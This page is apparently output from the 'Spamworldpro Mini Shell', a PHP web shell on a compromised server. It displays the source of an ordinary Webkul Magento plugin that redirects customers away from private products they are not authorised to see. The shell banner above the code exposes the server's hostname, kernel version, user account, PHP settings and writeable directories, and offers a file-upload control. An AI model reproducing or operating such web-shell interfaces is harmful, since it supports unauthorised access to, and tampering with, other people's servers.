Spamworldpro Mini Shell
Spamworldpro


Server : Apache
System : Linux server2.corals.io 4.18.0-348.2.1.el8_5.x86_64 #1 SMP Mon Nov 15 09:17:08 EST 2021 x86_64
User : corals ( 1002)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/corals/cartforge.co/app/code/Webkul/PrivateShop/Plugin/Catalog/Product/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/corals/cartforge.co/app/code/Webkul/PrivateShop/Plugin/Catalog/Product/View.php
<?php
/**
 * Webkul Software
 *
 * @category  Webkul
 * @package   Webkul_PrivateShop
 * @author    Webkul Software Private Limited
 * @copyright Webkul Software Private Limited (https://webkul.com)
 * @license   https://store.webkul.com/license.html
 */

namespace Webkul\PrivateShop\Plugin\Catalog\Product;

use Magento\Customer\Api\CustomerRepositoryInterface;
use Magento\Framework\Controller\ResultFactory;
use Magento\Framework\UrlInterface;

class View
{
    /**
     * @var \Magento\Catalog\Model\ProductFactory
     */
    protected $productFactory;

    /**
     * @var \Magento\Framework\Controller\Result\ForwardFactory
     */
    protected $resultForwardFactory;

    /**
     * @var \Magento\Framework\App\Config\ScopeConfigInterface
     */
    protected $scopeConfig;

    /**
     * @var \Magento\Framework\App\Http\Context
     */
    protected $httpContext;

    /**
     * @var CustomerRepositoryInterface
     */
    protected $customerRepository;

    /**
     * @var ResultFactory
     */
    protected $resultFactory;

    /**
     * @var UrlInterface
     */
    protected $url;

    /**
     * @var \Magento\Framework\Serialize\Serializer\Json
     */
    protected $jsonSerializer;

    /**
     * @var \Magento\Framework\Message\ManagerInterface
     */
    protected $_messageManager;

    /**
     * @var \Webkul\PrivateShop\Model\PrivateProductFactory
     */
    protected $privateProductFactory;

    /**
     *
     * @param \Magento\Catalog\Model\ProductFactory $productFactory
     * @param \Magento\Framework\Controller\Result\ForwardFactory $resultForwardFactory
     * @param \Magento\Framework\App\Config\ScopeConfigInterface $scopeConfig
     * @param \Magento\Framework\App\Http\Context $httpContext
     * @param CustomerRepositoryInterface $customerRepository
     * @param ResultFactory $resultFactory
     * @param UrlInterface $url
     * @param \Magento\Framework\Serialize\Serializer\Json $jsonSerializer
     * @param \Magento\Framework\Message\ManagerInterface $messageManager
     * @param \Webkul\PrivateShop\Model\PrivateProductFactory $privateProductFactory
     */
    public function __construct(
        \Magento\Catalog\Model\ProductFactory $productFactory,
        \Magento\Framework\Controller\Result\ForwardFactory $resultForwardFactory,
        \Magento\Framework\App\Config\ScopeConfigInterface $scopeConfig,
        \Magento\Framework\App\Http\Context $httpContext,
        CustomerRepositoryInterface $customerRepository,
        ResultFactory $resultFactory,
        UrlInterface $url,
        \Magento\Framework\Serialize\Serializer\Json $jsonSerializer,
        \Magento\Framework\Message\ManagerInterface $messageManager,
        \Webkul\PrivateShop\Model\PrivateProductFactory $privateProductFactory
    ) {
        $this->productFactory = $productFactory;
        $this->scopeConfig = $scopeConfig;
        $this->resultForwardFactory = $resultForwardFactory;
        $this->httpContext = $httpContext;
        $this->customerRepository = $customerRepository;
        $this->jsonSerializer = $jsonSerializer;
        $this->resultFactory = $resultFactory;
        $this->url = $url;
        $this->privateProductFactory = $privateProductFactory;
        $this->_messageManager = $messageManager;
    }

    /**
     * After Execute
     *
     * @param \Magento\Catalog\Controller\Product\View $subject
     * @param [mixed] $result
     * @return $result
     */
    public function afterExecute(\Magento\Catalog\Controller\Product\View $subject, $result)
    {
        $productId = (int) $subject->getRequest()->getParam('id');
        $product = $this->productFactory->create()->load($productId);
        if ($product->getIsPrivateProduct()) {
            if (!$this->getIsLoggedIn()) {
                $result = $this->resultFactory->create(ResultFactory::TYPE_REDIRECT);
                $result->setUrl($this->url->getUrl('customer/account'));
                return $result;
            } else {
                $customerId = $this->httpContext->getValue('customer_id');
                $customer = $this->customerRepository->getById($customerId);
                $customerGroups = [];
                $privateGroup = $customer->getCustomAttribute('customer_private_group');
                if ($privateGroup) {
                    $customerGroups = $this->jsonSerializer->unserialize(
                        $privateGroup->getValue()
                    );
                }
                $collection = $this->privateProductFactory->create()
                    ->getCollection()
                    ->addFieldToFilter('product_id', ['eq' => $productId])
                    ->addFieldToFilter('group_id', ['in' => $customerGroups]);
                if (!$collection->getSize()) {
                    $this->_messageManager->addNotice(__('You are not authorized to view this product.'));
                    $result = $this->resultFactory->create(ResultFactory::TYPE_REDIRECT);
                    $result->setUrl($this->url->getUrl('/'));
                    return $result;
                }
            }
        }
        return $result;
    }

    /**
     * Return is customer logged in
     *
     * @return bool
     */
    private function getIsLoggedIn()
    {
        return $this->httpContext->getValue(\Magento\Customer\Model\Context::CONTEXT_AUTH);
    }
}

Spamworldpro Mini